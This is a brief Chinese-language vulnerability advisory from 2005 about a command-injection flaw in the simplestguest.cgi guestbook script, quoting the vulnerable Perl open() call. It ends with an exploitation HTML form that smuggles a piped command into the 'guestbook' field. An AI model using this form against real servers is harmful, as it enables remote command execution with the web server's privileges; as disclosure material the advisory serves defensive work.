Tammie's Husband留言板CGI漏洞
2005-08-11
系统编号:
WAVDB-00020
影响版本:
Tammie's Husband
程序介绍:
Tammie's Husband是一款留言版程序
漏洞分析:
simplestguest.cgi留言板程序没有正确检查输入数据的有效性,直接用用户提供的
guestbook 变量来作为文件名,并用open()函数打开。因此任何人都可以在远程系
统上以web服务器的权限执行任意命令。
有问题的代码部分:
$outputdir = $basedir . / . $contents_by_name{'guestbook'} ;
$outputfile = $outputdir ;
# sends to write output.
&output;
....
########## OUTPUT
sub output
{
&BakeCookies('guestbook',Signed);
open (OUTFILE, $outputfile );
....
漏洞利用:
创建下面的表单,提交:
<form action=http://target/cgi-bin/simplestguest.cgi method=POST>
<input type=hidden name=required value= NAME >
<input type=hidden name=guestbook
value= | <command goes here> | >
<input type=hidden name= NAME value= X >
<input type=submit>